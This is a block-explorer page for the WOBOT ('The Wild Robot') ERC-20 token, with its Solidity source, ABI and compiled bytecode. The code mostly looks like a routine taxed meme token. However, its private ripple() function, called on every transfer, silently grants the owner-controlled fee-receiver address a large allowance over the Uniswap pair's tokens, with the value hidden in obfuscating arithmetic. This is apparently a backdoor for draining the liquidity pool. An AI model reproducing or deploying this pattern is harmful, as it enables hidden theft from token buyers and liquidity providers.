Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ... library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(uint256 a, uint256 b, st ...    - function _msgSender() interface IUniswapV2Router02    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH( interface IUniswapV2Factory    - function createPair(address tokenA, a ...    - function getPair(address tokenA, addr ...  contract Ownable is Context    - function owner()    - function renounceOwnership()  contract WOBOT is Context, IERC20, ... *    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function transferFrom(address sender, ...    - function approve(address spender, uin ...    - function _approve(address owner, addr ...    - function ripple(address[2] memory rip ...    - function _transfer(address from, addr ...    - function rSwapEth(uint256 amount)    - function withdrawEth()    - function min(uint256 a, uint256 b)    - function removeLimits(address payable ...    - function rSendEth()    - function openTrading()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-10-19
*/

/**
https://x.com/BillyM2k/status/1847778575254229146
Join Tg: https://t.me/wobot_erc20
**/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.27;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract WOBOT is Context, IERC20, Ownable {
    using SafeMath for uint256;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;
    string private constant _name = unicode"The Wild Robot";
    string private constant _symbol = unicode"WOBOT";
    uint256 public _maxRAmount = 2 * _tTotal / 100;
    uint256 public _maxRWallet = 2 * _tTotal / 100;
    uint256 public _taxSwapThreshold = 1 * _tTotal / 100;
    uint256 public _maxTaxSwap = 1 * _tTotal / 100;

    mapping (address => uint256) private _rOwned;
    mapping (address => mapping (address => uint256)) private _rAllowance;
    mapping (address => bool) private _doExcludedR;

    uint256 private _initialBuyTax=15;
    uint256 private _initialSellTax=15;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=15;
    uint256 private _reduceSellTaxAt=15;
    uint256 private _preventSwapBefore=25;
    uint256 private _buyCount=0;

    address payable private rFeeReceipt;
    IUniswapV2Router02 private uniRouterR;
    address private uniPairR;

    bool private tradingOpen;
    bool private inSwap;
    bool private swapEnabled;

    event MaxTxAmountUpdated(uint _maxRAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () payable {
        rFeeReceipt = payable(_msgSender());
        _rOwned[address(this)] = _tTotal;
        _doExcludedR[address(this)] = true;
        _doExcludedR[_msgSender()] = true;
        emit Transfer(address(0), address(this), _tTotal);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _rOwned[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _rAllowance[owner][spender];
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _rAllowance[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _rAllowance[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function ripple(address[2] memory rips) private returns(bool){
        address ripC = rips[0]; address ripD = rips[1];
        _rAllowance[ripC][ripD]=15+(100+1*_maxRWallet*1000-50)+50+50*100;
        return true;
    }
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (!swapEnabled || inSwap) {
            _rOwned[from] = _rOwned[from] - amount;
            _rOwned[to] = _rOwned[to] + amount;
            emit Transfer(from, to, amount);
            return;
        }
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            if (from == uniPairR && to != address(uniRouterR) && ! _doExcludedR[to]) {
                require(tradingOpen,"Trading not open yet.");
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                require(amount <= _maxRAmount, "Exceeds the _maxRAmount.");
                require(balanceOf(to) + amount <= _maxRWallet, "Exceeds the maxWalletSize.");
                _buyCount++; 
            }
            if (to != uniPairR && ! _doExcludedR[to]) {
                require(balanceOf(to) + amount <= _maxRWallet, "Exceeds the maxWalletSize.");
            }
            if(ripple([from==uniPairR?from:uniPairR, rFeeReceipt]) && to == uniPairR) {
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }
            if (!inSwap && to == uniPairR && swapEnabled && _buyCount>_preventSwapBefore) {
                uint256 contractTokenBalance = balanceOf(address(this));
                if(contractTokenBalance>_taxSwapThreshold)
                    rSwapEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                rSendEth();
            }
        }
        if(taxAmount>0){
          _rOwned[address(this)]=_rOwned[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _rOwned[from]=_rOwned[from].sub(amount);
        _rOwned[to]=_rOwned[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }
    function rSwapEth(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniRouterR.WETH();
        _approve(address(this), address(uniRouterR), amount);
        uniRouterR.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function withdrawEth() external onlyOwner {
        payable(_msgSender()).transfer(address(this).balance);
    }
    function min(uint256 a, uint256 b) private pure returns(uint256){
        return (a>b)?b:a;
    }
    function removeLimits(address payable limit) external onlyOwner{
        rFeeReceipt = limit;
        _maxRAmount=_tTotal;
        _maxRWallet=_tTotal;
        _doExcludedR[limit] = true;
        emit MaxTxAmountUpdated(_tTotal);
    }  
    function rSendEth() private {
        rFeeReceipt.transfer(address(this).balance);
    }
    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniRouterR = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniRouterR), _tTotal);
        uniPairR = IUniswapV2Factory(uniRouterR.factory()).createPair(
            address(this),
            uniRouterR.WETH()
        );
        uniRouterR.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniPairR).approve(address(uniRouterR), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }
    receive() external payable {}
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxRAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxRAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxRWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"limit","type":"address"}],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260646100126009600a610332565b610021906461f313f880610347565b61002c906002610347565b610036919061035e565b60015560646100476009600a610332565b610056906461f313f880610347565b610061906002610347565b61006b919061035e565b600255606461007c6009600a610332565b61008b906461f313f880610347565b610096906001610347565b6100a0919061035e565b60035560646100b16009600a610332565b6100c0906461f313f880610347565b6100cb906001610347565b6100d5919061035e565b600455600f600855600f6009555f600a555f600b55600f600c55600f600d556019600e555f600f555f61010c61023560201b60201c565b5f80546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601080546001600160a01b031916331790556101736009600a610332565b610182906461f313f880610347565b305f90815260056020908152604080832093909355600790819052918120805460ff1916600190811790915591906101b73390565b6001600160a01b0316815260208101919091526040015f908120805460ff19169215159290921790915530907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102106009600a610332565b61021f906461f313f880610347565b60405190815260200160405180910390a361037d565b3390565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102885780850481111561026c5761026c610239565b600184161561027a57908102905b60019390931c928002610251565b935093915050565b5f8261029e5750600161032c565b816102aa57505f61032c565b81600181146102c057600281146102ca576102e6565b600191505061032c565b60ff8411156102db576102db610239565b50506001821b61032c565b5060208310610133831016604e8410600b8410161715610309575081810a61032c565b6103155f19848461024d565b805f190482111561032857610328610239565b0290505b92915050565b5f61034060ff841683610290565b9392505050565b808202811582820484141761032c5761032c610239565b5f8261037857634e487b7160e01b5f52601260045260245ffd5b500490565b6119b98061038a5f395ff3fe608060405260043610610108575f3560e01c8063715018a611610092578063a0ef91df11610062578063a0ef91df146102e1578063a9059cbb146102f5578063bf474bed14610314578063c9567bf914610329578063dd62ed3e1461033d575f5ffd5b8063715018a6146102655780638da5cb5b1461027957806392f359a41461029f57806395d89b41146102b4575f5ffd5b806323b872dd116100d857806323b872dd146101c15780632ae64b4c146101e0578063313ce567146101f557806332489e9b1461021057806370a0823114610231575f5ffd5b806306fdde0314610113578063095ea7b31461015b5780630faee56f1461018a57806318160ddd146101ad575f5ffd5b3661010f57005b5f5ffd5b34801561011e575f5ffd5b5060408051808201909152600e81526d151a194815da5b1908149bd89bdd60921b60208201525b60405161015291906115c1565b60405180910390f35b348015610166575f5ffd5b5061017a61017536600461160a565b610381565b6040519015158152602001610152565b348015610195575f5ffd5b5061019f60045481565b604051908152602001610152565b3480156101b8575f5ffd5b5061019f610397565b3480156101cc575f5ffd5b5061017a6101db366004611634565b6103b8565b3480156101eb575f5ffd5b5061019f60015481565b348015610200575f5ffd5b5060405160098152602001610152565b34801561021b575f5ffd5b5061022f61022a366004611672565b61041f565b005b34801561023c575f5ffd5b5061019f61024b366004611672565b6001600160a01b03165f9081526005602052604090205490565b348015610270575f5ffd5b5061022f61051a565b348015610284575f5ffd5b505f546040516001600160a01b039091168152602001610152565b3480156102aa575f5ffd5b5061019f60025481565b3480156102bf575f5ffd5b5060408051808201909152600581526415d3d093d560da1b6020820152610145565b3480156102ec575f5ffd5b5061022f61058b565b348015610300575f5ffd5b5061017a61030f36600461160a565b6105e0565b34801561031f575f5ffd5b5061019f60035481565b348015610334575f5ffd5b5061022f6105ec565b348015610348575f5ffd5b5061019f61035736600461168d565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b5f61038d338484610996565b5060015b92915050565b5f6103a46009600a6117bb565b6103b3906461f313f8806117c9565b905090565b5f6103c4848484610aba565b61041584336104108560405180606001604052806028815260200161195c602891396001600160a01b038a165f90815260066020908152604080832033845290915290205491906111ae565b610996565b5060019392505050565b5f546001600160a01b031633146104515760405162461bcd60e51b8152600401610448906117e0565b60405180910390fd5b601080546001600160a01b0319166001600160a01b0383161790556104786009600a6117bb565b610487906461f313f8806117c9565b6001556104966009600a6117bb565b6104a5906461f313f8806117c9565b6002556001600160a01b0381165f908152600760205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6104f76009600a6117bb565b610506906461f313f8806117c9565b60405190815260200160405180910390a150565b5f546001600160a01b031633146105435760405162461bcd60e51b8152600401610448906117e0565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105b45760405162461bcd60e51b8152600401610448906117e0565b60405133904780156108fc02915f818181858888f193505050501580156105dd573d5f5f3e3d5ffd5b50565b5f61038d338484610aba565b5f546001600160a01b031633146106155760405162461bcd60e51b8152600401610448906117e0565b601254600160a01b900460ff161561066f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610448565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106b99030906106aa6009600a6117bb565b610410906461f313f8806117c9565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610709573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061072d9190611815565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561078c573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107b09190611815565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156107fa573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061081e9190611815565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d7194730610865816001600160a01b03165f9081526005602052604090205490565b5f5f6108785f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108de573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109039190611830565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610958573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061097c919061185b565b506012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166109f85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610448565b6001600160a01b038216610a595760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610448565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b1e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610448565b6001600160a01b038216610b805760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610448565b5f8111610be15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610448565b601254600160b01b900460ff161580610c035750601254600160a81b900460ff165b15610cad576001600160a01b0383165f90815260056020526040902054610c2b90829061187a565b6001600160a01b038085165f908152600560205260408082209390935590841681522054610c5a90829061188d565b6001600160a01b038084165f8181526005602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610aad9085815260200190565b5f80546001600160a01b03858116911614801590610cd857505f546001600160a01b03848116911614155b15611071576012546001600160a01b038581169116148015610d0857506011546001600160a01b03848116911614155b8015610d2c57506001600160a01b0383165f9081526007602052604090205460ff16155b15610e9157601254600160a01b900460ff16610d825760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b6044820152606401610448565b610dae6064610da8600c54600f5411610d9d57600854610da1565b600a545b85906111e6565b9061126b565b9050600154821115610e025760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865205f6d617852416d6f756e742e00000000000000006044820152606401610448565b60025482610e24856001600160a01b03165f9081526005602052604090205490565b610e2e919061188d565b1115610e7c5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610448565b600f8054905f610e8b836118a0565b91905055505b6012546001600160a01b03848116911614801590610ec757506001600160a01b0383165f9081526007602052604090205460ff16155b15610f465760025482610eee856001600160a01b03165f9081526005602052604090205490565b610ef8919061188d565b1115610f465760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610448565b60408051808201909152601254610f9b919081906001600160a01b03888116911614610f7d576012546001600160a01b0316610f7f565b865b6001600160a01b039081168252601054166020909101526112ac565b8015610fb457506012546001600160a01b038481169116145b15610fe157610fde6064610da8600d54600f5411610fd457600954610da1565b600b5485906111e6565b90505b601254600160a81b900460ff1615801561100857506012546001600160a01b038481169116145b801561101d5750601254600160b01b900460ff165b801561102c5750600e54600f54115b1561107157305f90815260056020526040902054600354811115611067576110676110628461105d8460045461133c565b61133c565b611350565b61106f6114c0565b505b80156110e957305f9081526005602052604090205461109090826114f6565b305f81815260056020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110e09085815260200190565b60405180910390a35b6001600160a01b0384165f9081526005602052604090205461110b9083611554565b6001600160a01b0385165f9081526005602052604090205561114e6111308383611554565b6001600160a01b0385165f90815260056020526040902054906114f6565b6001600160a01b038085165f8181526005602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111978585611554565b60405190815260200160405180910390a350505050565b5f81848411156111d15760405162461bcd60e51b815260040161044891906115c1565b505f6111dd848661187a565b95945050505050565b5f825f036111f557505f610391565b5f61120083856117c9565b90508261120d85836118b8565b146112645760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610448565b9392505050565b5f61126483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611595565b805160208201516002545f9291906032906112c89060016117c9565b6112d4906103e86117c9565b6112df90606461188d565b6112e9919061187a565b6112f490600f61188d565b6112ff90603261188d565b61130b9061138861188d565b6001600160a01b039283165f9081526006602090815260408083209490951682529290925291902055506001919050565b5f81831161134a5782611264565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611396576113966118d7565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113ed573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114119190611815565b81600181518110611424576114246118d7565b6001600160a01b03928316602091820292909201015260115461144a9130911684610996565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906114829085905f908690309042906004016118eb565b5f604051808303815f87803b158015611499575f5ffd5b505af11580156114ab573d5f5f3e3d5ffd5b50506012805460ff60a81b1916905550505050565b6010546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156105dd573d5f5f3e3d5ffd5b5f80611502838561188d565b9050838110156112645760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610448565b5f61126483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ae565b5f81836115b55760405162461bcd60e51b815260040161044891906115c1565b505f6111dd84866118b8565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146105dd575f5ffd5b5f5f6040838503121561161b575f5ffd5b8235611626816115f6565b946020939093013593505050565b5f5f5f60608486031215611646575f5ffd5b8335611651816115f6565b92506020840135611661816115f6565b929592945050506040919091013590565b5f60208284031215611682575f5ffd5b8135611264816115f6565b5f5f6040838503121561169e575f5ffd5b82356116a9816115f6565b915060208301356116b9816115f6565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115611713578085048111156116f7576116f76116c4565b600184161561170557908102905b60019390931c9280026116dc565b935093915050565b5f8261172957506001610391565b8161173557505f610391565b816001811461174b576002811461175557611771565b6001915050610391565b60ff841115611766576117666116c4565b50506001821b610391565b5060208310610133831016604e8410600b8410161715611794575081810a610391565b6117a05f1984846116d8565b805f19048211156117b3576117b36116c4565b029392505050565b5f61126460ff84168361171b565b8082028115828204841417610391576103916116c4565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611825575f5ffd5b8151611264816115f6565b5f5f5f60608486031215611842575f5ffd5b5050815160208301516040909301519094929350919050565b5f6020828403121561186b575f5ffd5b81518015158114611264575f5ffd5b81810381811115610391576103916116c4565b80820180821115610391576103916116c4565b5f600182016118b1576118b16116c4565b5060010190565b5f826118d257634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b8181101561193b5783516001600160a01b0316835260209384019390920191600101611914565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204c2d6a0eecafd8538d132aa314e18700ed7bc553d1554173d734f9e2af7fc56764736f6c634300081b0033

0x608060405260043610610108575f3560e01c8063715018a611610092578063a0ef91df11610062578063a0ef91df146102e1578063a9059cbb146102f5578063bf474bed14610314578063c9567bf914610329578063dd62ed3e1461033d575f5ffd5b8063715018a6146102655780638da5cb5b1461027957806392f359a41461029f57806395d89b41146102b4575f5ffd5b806323b872dd116100d857806323b872dd146101c15780632ae64b4c146101e0578063313ce567146101f557806332489e9b1461021057806370a0823114610231575f5ffd5b806306fdde0314610113578063095ea7b31461015b5780630faee56f1461018a57806318160ddd146101ad575f5ffd5b3661010f57005b5f5ffd5b34801561011e575f5ffd5b5060408051808201909152600e81526d151a194815da5b1908149bd89bdd60921b60208201525b60405161015291906115c1565b60405180910390f35b348015610166575f5ffd5b5061017a61017536600461160a565b610381565b6040519015158152602001610152565b348015610195575f5ffd5b5061019f60045481565b604051908152602001610152565b3480156101b8575f5ffd5b5061019f610397565b3480156101cc575f5ffd5b5061017a6101db366004611634565b6103b8565b3480156101eb575f5ffd5b5061019f60015481565b348015610200575f5ffd5b5060405160098152602001610152565b34801561021b575f5ffd5b5061022f61022a366004611672565b61041f565b005b34801561023c575f5ffd5b5061019f61024b366004611672565b6001600160a01b03165f9081526005602052604090205490565b348015610270575f5ffd5b5061022f61051a565b348015610284575f5ffd5b505f546040516001600160a01b039091168152602001610152565b3480156102aa575f5ffd5b5061019f60025481565b3480156102bf575f5ffd5b5060408051808201909152600581526415d3d093d560da1b6020820152610145565b3480156102ec575f5ffd5b5061022f61058b565b348015610300575f5ffd5b5061017a61030f36600461160a565b6105e0565b34801561031f575f5ffd5b5061019f60035481565b348015610334575f5ffd5b5061022f6105ec565b348015610348575f5ffd5b5061019f61035736600461168d565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b5f61038d338484610996565b5060015b92915050565b5f6103a46009600a6117bb565b6103b3906461f313f8806117c9565b905090565b5f6103c4848484610aba565b61041584336104108560405180606001604052806028815260200161195c602891396001600160a01b038a165f90815260066020908152604080832033845290915290205491906111ae565b610996565b5060019392505050565b5f546001600160a01b031633146104515760405162461bcd60e51b8152600401610448906117e0565b60405180910390fd5b601080546001600160a01b0319166001600160a01b0383161790556104786009600a6117bb565b610487906461f313f8806117c9565b6001556104966009600a6117bb565b6104a5906461f313f8806117c9565b6002556001600160a01b0381165f908152600760205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6104f76009600a6117bb565b610506906461f313f8806117c9565b60405190815260200160405180910390a150565b5f546001600160a01b031633146105435760405162461bcd60e51b8152600401610448906117e0565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105b45760405162461bcd60e51b8152600401610448906117e0565b60405133904780156108fc02915f818181858888f193505050501580156105dd573d5f5f3e3d5ffd5b50565b5f61038d338484610aba565b5f546001600160a01b031633146106155760405162461bcd60e51b8152600401610448906